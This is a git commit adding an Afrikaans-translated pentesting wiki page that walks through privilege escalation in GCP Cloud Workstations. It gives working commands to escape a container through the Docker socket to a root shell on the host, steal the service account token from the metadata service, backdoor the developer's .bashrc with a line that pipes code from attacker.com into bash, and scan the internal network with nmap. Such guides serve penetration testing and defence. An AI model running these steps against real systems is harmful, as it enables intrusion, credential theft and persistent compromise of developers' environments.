Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

2026-07-28 22:51:09 -07:00 · 2026-02-12 20:06:17 +00:00
parent 3ca7b2991b
commit a8716eb935
1 changed files with 96 additions and 0 deletions
@@ -0,0 +1,96 @@
+# GCP - Cloud Workstations Privesc
+
+
+### Container Breakout via Docker Socket (Container -> VM -> Project)
+
+Die primêre privilege-escalasiepad in Cloud Workstations spruit voort uit die behoefte om **Docker-in-Docker (DinD)** workflows vir ontwikkelaars te ondersteun. Wanneer die workstation-konfigurasie die Docker socket mount of privileged containers toelaat (ʼn algemene konfigurasie), kan ’n aanvaller binne die workstation-container na die onderliggende Compute Engine VM ontsnap en die service account token steel.
+
+**Vereistes:**
+- Toegang tot ’n Cloud Workstation-terminal (via SSH, gekompromitteerde sessie, of gesteelde credentials)
+- Die workstation-konfigurasie moet /var/run/docker.sock mount of privileged containers aktiveer
+
+**Argitektuur konteks:** Die workstation is ’n container (Laag 3) wat op ’n Docker/Containerd runtime (Laag 2) op ’n GCE VM (Laag 1) loop. Die Docker socket gee direkte toegang tot die host se container runtime.
+
+> [!NOTE]
+> Die tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) outomatiseer die volledige container escape en gee jou ’n root shell op die host VM.
+
+<details>
+
+<summary>Stap 1: Kontroleer vir Docker socket</summary>
+```bash
+# Verify the Docker socket is available
+ls -l /var/run/docker.sock
+# Expected output: srw-rw---- 1 root docker 0 ...
+```
+</details>
+
+<details>
+
+<summary>Stap 2: Ontsnap na die host VM filesystem</summary>
+
+Ons launch 'n privileged container en mount die host se root directory na `/mnt/host`. Ons deel ook die host se network en PID namespace om sigbaarheid te maksimeer.
+```bash
+# Spawn a privileged container mounting the host's root filesystem
+docker run -it --rm --privileged --net=host --pid=host \
+-v /:/mnt/host \
+alpine sh
+
+# Inside the new container, chroot into the host
+chroot /mnt/host /bin/bash
+```
+Jy het nou 'n **root shell op die onderliggende Compute Engine VM** (Laag 1).
+
+</details>
+
+<details>
+
+<summary>Stap 3: Steel die VM service account token vanaf IMDS</summary>
+```bash
+# From the host VM, query the Instance Metadata Service
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
+
+# Check which service account is attached
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
+
+# Check scopes (CRITICAL STEP)
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
+```
+</details>
+
+> [!CAUTION]
+> **Check the Scopes!**
+> Alhoewel die aangehegte Service Account **Editor** is, kan die VM deur access scopes beperk wees.
+> As jy `https://www.googleapis.com/auth/cloud-platform` sien, het jy volle toegang.
+> As jy slegs `logging.write` en `monitoring.write` sien, is jy beperk tot die **Network Pivot** en **Persistence** vectors hieronder.
+
+<details>
+
+<summary>Stap 4: Bereik Persistence (Backdoor the User)</summary>
+
+Cloud Workstations mount a persistent disk to `/home/user`. Omdat die container user (gewoonlik `user`, UID 1000) ooreenstem met die host user (UID 1000), kan jy na die host se home directory skryf. Dit laat jou toe om die environment te backdoor, selfs al word die workstation container hergebou.
+```bash
+# Check if you can write to the host's persistent home
+ls -la /mnt/host/home/user/
+
+# Drop a backdoor that executes next time the developer logs in
+# Note: Do this from the container escape context
+echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
+```
+</details>
+
+<details>
+
+<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
+
+Aangesien jy die host network namespace deel (`--net=host`), is jy nou 'n trusted node op die VPC. Jy kan scan vir interne dienste wat toegang toelaat gebaseer op IP whitelisting.
+```bash
+# Install scanning tools on the host (if internet access allows)
+apk add nmap
+
+# Scan the internal VPC subnet
+nmap -sS -p 80,443,22 10.0.0.0/8
+```
+</details>